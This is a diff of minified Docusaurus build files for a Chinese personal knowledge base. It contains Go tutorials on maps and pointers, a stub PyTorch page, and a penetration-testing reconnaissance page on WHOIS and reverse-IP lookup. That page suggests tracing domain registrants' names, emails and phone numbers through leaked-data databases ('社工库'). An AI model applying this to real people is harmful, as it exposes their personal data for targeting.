{\n\t\tfmt.Println("\u67e5\u65e0\u6b64\u4eba")\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"map\u7684\u904d\u5386",children:"map\u7684\u904d\u5386"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,r.jsx)(e.code,{children:"for range"}),"\u904d\u5386map\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tscoreMap["\u5a1c\u624e"] = 60\n\tfor k, v := range scoreMap {\n\t\tfmt.Println(k, v)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4f46\u6211\u4eec\u53ea\u60f3\u904d\u5386key\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u6309\u4e0b\u9762\u7684\u5199\u6cd5\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tscoreMap["\u5a1c\u624e"] = 60\n\tfor k := range scoreMap {\n\t\tfmt.Println(k)\n\t}\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})," \u904d\u5386map\u65f6\u7684\u5143\u7d20\u987a\u5e8f\u4e0e\u6dfb\u52a0\u952e\u503c\u5bf9\u7684\u987a\u5e8f\u65e0\u5173\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u4f7f\u7528delete\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9",children:"\u4f7f\u7528delete()\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"delete()"}),"\u5185\u5efa\u51fd\u6570\u4ecemap\u4e2d\u5220\u9664\u4e00\u7ec4\u952e\u503c\u5bf9\uff0c",(0,r.jsx)(e.code,{children:"delete()"}),"\u51fd\u6570\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"delete(map, key)\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"map:\u8868\u793a\u8981\u5220\u9664\u952e\u503c\u5bf9\u7684map"}),"\n",(0,r.jsx)(e.li,{children:"key:\u8868\u793a\u8981\u5220\u9664\u7684\u952e\u503c\u5bf9\u7684\u952e"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main(){\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tscoreMap["\u5a1c\u624e"] = 60\n\tdelete(scoreMap, "\u5c0f\u660e")//\u5c06\u5c0f\u660e:100\u4ecemap\u4e2d\u5220\u9664\n\tfor k,v := range scoreMap{\n\t\tfmt.Println(k, v)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map",children:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\trand.Seed(time.Now().UnixNano()) //\u521d\u59cb\u5316\u968f\u673a\u6570\u79cd\u5b50\n\n\tvar scoreMap = make(map[string]int, 200)\n\n\tfor i := 0; i < 100; i++ {\n\t\tkey := fmt.Sprintf("stu%02d", i) //\u751f\u6210stu\u5f00\u5934\u7684\u5b57\u7b26\u4e32\n\t\tvalue := rand.Intn(100) //\u751f\u62100~99\u7684\u968f\u673a\u6574\u6570\n\t\tscoreMap[key] = value\n\t}\n\t//\u53d6\u51famap\u4e2d\u7684\u6240\u6709key\u5b58\u5165\u5207\u7247keys\n\tvar keys = make([]string, 0, 200)\n\tfor key := range scoreMap {\n\t\tkeys = append(keys, key)\n\t}\n\t//\u5bf9\u5207\u7247\u8fdb\u884c\u6392\u5e8f\n\tsort.Strings(keys)\n\t//\u6309\u7167\u6392\u5e8f\u540e\u7684key\u904d\u5386map\n\tfor _, key := range keys {\n\t\tfmt.Println(key, scoreMap[key])\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247",children:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86\u5207\u7247\u4e2d\u7684\u5143\u7d20\u4e3amap\u7c7b\u578b\u65f6\u7684\u64cd\u4f5c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar mapSlice = make([]map[string]string, 3)\n\tfor index, value := range mapSlice {\n\t\tfmt.Printf("index:%d value:%v\\n", index, value)\n\t}\n\tfmt.Println("after init")\n\t// \u5bf9\u5207\u7247\u4e2d\u7684map\u5143\u7d20\u8fdb\u884c\u521d\u59cb\u5316\n\tmapSlice[0] = make(map[string]string, 10)\n\tmapSlice[0]["name"] = "\u5c0f\u738b\u5b50"\n\tmapSlice[0]["password"] = "123456"\n\tmapSlice[0]["address"] = "\u6c99\u6cb3"\n\tfor index, value := range mapSlice {\n\t\tfmt.Printf("index:%d value:%v\\n", index, value)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map",children:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86map\u4e2d\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684\u64cd\u4f5c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar sliceMap = make(map[string][]string, 3)\n\tfmt.Println(sliceMap)\n\tfmt.Println("after init")\n\tkey := "\u4e2d\u56fd"\n\tvalue, ok := sliceMap[key]\n\tif !ok {\n\t\tvalue = make([]string, 0, 2)\n\t}\n\tvalue = append(value, "\u5317\u4eac", "\u4e0a\u6d77")\n\tsliceMap[key] = value\n\tfmt.Println(sliceMap)\n}\n'})})]})}function d(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/eb9c329d.09ac7715.js b/assets/js/eb9c329d.09ac7715.js new file mode 100644 index 0000000..64d34af --- /dev/null +++ b/assets/js/eb9c329d.09ac7715.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6834],{28453:(e,n,t)=>{t.d(n,{R:()=>o,x:()=>r});var s=t(96540);const i={},l=s.createContext(i);function o(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:o(e.components),s.createElement(l.Provider,{value:n},e.children)}},42654:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>a,frontMatter:()=>o,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/03.WHOIS-IP\u53cd\u67e5\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/03.WHOIS-IP\u53cd\u67e5\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u8bc1\u4e66\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2"},"next":{"title":"google\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2"}}');var i=t(74848),l=t(28453);const o={},r=void 0,c={},h=[{value:"\u6ce8\u518c\u90ae\u7bb1",id:"\u6ce8\u518c\u90ae\u7bb1",level:3},{value:"\u6ce8\u518c\u4eba\u3001\u7535\u8bdd\u53f7",id:"\u6ce8\u518c\u4eba\u7535\u8bdd\u53f7",level:3},{value:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4",id:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4",level:3},{value:"\u6ce8\u518c\u5546",id:"\u6ce8\u518c\u5546",level:3},{value:"\u5386\u53f2\u67e5\u8be2",id:"\u5386\u53f2\u67e5\u8be2",level:3},{value:"IP\u53cd\u67e5",id:"ip\u53cd\u67e5",level:2},{value:"\u6709\u4f55\u4f5c\u7528",id:"\u6709\u4f55\u4f5c\u7528",level:3},{value:"\u5982\u4f55\u67e5\u8be2",id:"\u5982\u4f55\u67e5\u8be2",level:3}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:40:48"})]})})]}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"[!TIP]"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"whois"})," \u662f\u7528\u6765\u67e5\u8be2\u57df\u540d\u7684IP\u4ee5\u53ca\u6240\u6709\u8005\u7b49\u4fe1\u606f\u7684\u4f20\u8f93\u534f\u8bae\u3002\u7b80\u5355\u8bf4\uff0cwhois\u5c31\u662f\u4e00\u4e2a\u7528\u6765\u67e5\u8be2\u57df\u540d\u662f\u5426\u5df2\u7ecf\u88ab\u6ce8\u518c\uff0c\u4ee5\u53ca\u6ce8\u518c\u57df\u540d\u7684\u8be6\u7ec6\u4fe1\u606f\u7684\u6570\u636e\u5e93\uff08\u5982\u57df\u540d\u6240\u6709\u4eba\u3001\u57df\u540d\u6ce8\u518c\u5546\uff09\uff0c\u4e0d\u540c\u57df\u540d\u540e\u7f00\u7684Whois\u4fe1\u606f\u9700\u8981\u5230\u4e0d\u540c\u7684Whois\u6570\u636e\u5e93\u67e5\u8be2\u3002\u901a\u8fc7whois\u6765\u5b9e\u73b0\u5bf9\u57df\u540d\u4fe1\u606f\u7684\u67e5\u8be2\uff0c\u53ef\u4ee5\u5f97\u5230\u6ce8\u518c\u4eba\u7684\u59d3\u540d\u548c\u90ae\u7bb1\u4fe1\u606f\u901a\u5e38\u5bf9\u6d4b\u8bd5\u4e2a\u4eba\u7ad9\u70b9\u975e\u5e38\u6709\u7528\uff0c\u56e0\u4e3a\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u641c\u7d22\u5f15\u64ce\u548c\u793e\u4ea4\u7f51\u7edc\u6316\u6398\u51fa\u57df\u540d\u6240\u6709\u4eba\u7684\u5f88\u591a\u4fe1\u606f\u3002"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u5e38\u89c1\u7f51\u7ad9\uff1a"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsxs)(n.p,{children:["Whois\u7ad9\u957f\u4e4b\u5bb6\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"http://whois.chinaz.com/",children:"http://whois.chinaz.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["\u963f\u91cc\u4e91\u4e2d\u56fd\u4e07\u7f51\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"https://whois.aliyun.com/",children:"https://whois.aliyun.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["Whois Lookup \u67e5\u627e\u76ee\u6807\u7f51\u7ad9\u6240\u6709\u8005\u7684\u4fe1\u606f\uff1a",(0,i.jsx)(n.a,{href:"http://whois.domaintools.com/",children:"http://whois.domaintools.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["Netcraft Site Report \u663e\u793a\u76ee\u6807\u7f51\u7ad9\u4e0a\u4f7f\u7528\u7684\u6280\u672f\uff1a",(0,i.jsx)(n.a,{href:"http://toolbar.netcraft.com/site_report?url=",children:"http://toolbar.netcraft.com/site_report?url="})]}),"\n",(0,i.jsxs)(n.p,{children:["Robtex DNS \u67e5\u8be2\u663e\u793a\u5173\u4e8e\u76ee\u6807\u7f51\u7ad9\u7684\u5168\u9762\u7684DNS\u4fe1\u606f\uff1a",(0,i.jsx)(n.a,{href:"https://www.robtex.com/",children:"https://www.robtex.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["\u5168\u7403Whois\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"https://www.whois365.com/cn/",children:"https://www.whois365.com/cn/"})]}),"\n",(0,i.jsxs)(n.p,{children:["\u7ad9\u957f\u5de5\u5177\u7231\u7ad9\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"https://whois.aizhan.com/",children:"https://whois.aizhan.com/"})]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.code,{children:"\u7ad9\u957f\u4e4b\u5bb6\uff1awhois.chinaz.com"})}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u90ae\u7bb1",children:"\u6ce8\u518c\u90ae\u7bb1"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:"1.\u6ce8\u518c\u90ae\u7bb1\n2.\u53cd\u67e5\n\t\t1.\u57df\u540d\n\t\t2.\u6ce8\u518c\u8005\u3001\u7535\u8bdd\n\t\t3.dns\n\t\t4.\u6ce8\u518c\u65f6\u95f4\u3001\u8fc7\u671f\u65f6\u95f4\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u4eba\u7535\u8bdd\u53f7",children:"\u6ce8\u518c\u4eba\u3001\u7535\u8bdd\u53f7"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:"1.\u6ce8\u518c\u4eba\u53cd\u67e5\n2.\u793e\u5de5\u5e93\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4",children:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4"}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u5546",children:"\u6ce8\u518c\u5546"}),"\n",(0,i.jsx)(n.h3,{id:"\u5386\u53f2\u67e5\u8be2",children:"\u5386\u53f2\u67e5\u8be2"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:"1.\u4ee5\u524d\u7684\u624b\u673a\u53f7\n2.\u4ee5\u524d\u7684\u57df\u540d\n"})}),"\n",(0,i.jsx)(n.h2,{id:"ip\u53cd\u67e5",children:"IP\u53cd\u67e5"}),"\n",(0,i.jsx)(n.h3,{id:"\u6709\u4f55\u4f5c\u7528",children:"\u6709\u4f55\u4f5c\u7528"}),"\n",(0,i.jsx)(n.p,{children:"\u76ee\u6807\u591a\u4e2a\u57df\u540d\u53ef\u80fd\u7ed1\u5b9a\u5728\u540c\u4e00IP\u4e0a\uff0c\u901a\u8fc7IP\u53cd\u67e5\u4e00\u5b9a\u60c5\u51b5\u4e0b\u53ef\u83b7\u53d6\u5230\u5176\u4ed6\u7684\u57df\u540d\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.h3,{id:"\u5982\u4f55\u67e5\u8be2",children:"\u5982\u4f55\u67e5\u8be2"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"[!TIP]"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"http://s.tool.chinaz.com/same",children:"\u540cIP\u7f51\u7ad9\u67e5\u8be2\uff0c\u540c\u670d\u52a1\u5668\u7f51\u7ad9\u67e5\u8be2 - \u7ad9\u957f\u5de5\u5177"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://dnslytics.com/",children:"Online investigation tool - Reverse IP, NS, MX, WHOIS and Search Tools"})}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u8f93\u5165\u76f8\u5173\u7684\u57df\u540d\u6216IP\u5730\u5740\u5373\u53ef\u67e5\u8be2\u3002"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640865.png",alt:"image-20221223205015934"})})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/edd11672.5870962b.js b/assets/js/edd11672.5870962b.js new file mode 100644 index 0000000..45dc860 --- /dev/null +++ b/assets/js/edd11672.5870962b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4295],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>d});var s=n(96540);const r={},l=s.createContext(r);function i(t){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function d(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:i(t.components),s.createElement(l.Provider,{value:e},t.children)}},82177:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>d,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","title":"10.3 \u56fe\u50cf\u5206\u5272.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b"},"next":{"title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218"}}');var r=n(74848),l=n(28453);const i={},d="10.3 \u56fe\u50cf\u5206\u5272.md",c={},o=[];function h(t){const e={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"103-\u56fe\u50cf\u5206\u5272md",children:"10.3 \u56fe\u50cf\u5206\u5272.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"103-\u56fe\u50cf\u5206\u5272\u7b80\u4ecb\u8865\u5145\u4e2d",children:"10.3 \u56fe\u50cf\u5206\u5272\u7b80\u4ecb\uff08\u8865\u5145\u4e2d\uff09"})]})}function a(t={}){const{wrapper:e}={...(0,l.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/assets/js/efcf50a7.e85bcb5b.js b/assets/js/efcf50a7.e85bcb5b.js new file mode 100644 index 0000000..5c8cbb2 --- /dev/null +++ b/assets/js/efcf50a7.e85bcb5b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2950],{1090:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>a,contentTitle:()=>r,default:()=>h,frontMatter:()=>t,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","description":"\u4efb\u4f55\u7a0b\u5e8f\u6570\u636e\u8f7d\u5165\u5185\u5b58\u540e\uff0c\u5728\u5185\u5b58\u90fd\u6709\u4ed6\u4eec\u7684\u5730\u5740\uff0c\u8fd9\u5c31\u662f\u6307\u9488\u3002\u800c\u4e3a\u4e86\u4fdd\u5b58\u4e00\u4e2a\u6570\u636e\u5728\u5185\u5b58\u4e2d\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c31\u9700\u8981\u6307\u9488\u53d8\u91cf\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/08.GoLang-\u6307\u9488.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/08.GoLang-\u6307\u9488.md","tags":[],"version":"current","sidebarPosition":8,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247"},"next":{"title":"map","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map"}}');var s=c(74848),l=c(28453);const t={},r="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488",a={},d=[{value:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b",id:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b",level:2},{value:"\u6307\u9488\u53d6\u503c",id:"\u6307\u9488\u53d6\u503c",level:2},{value:"new\u548cmake",id:"new\u548cmake",level:2},{value:"new",id:"new",level:3},{value:"make",id:"make",level:3},{value:"new\u4e0emake\u7684\u533a\u522b",id:"new\u4e0emake\u7684\u533a\u522b",level:3}];function o(n){const 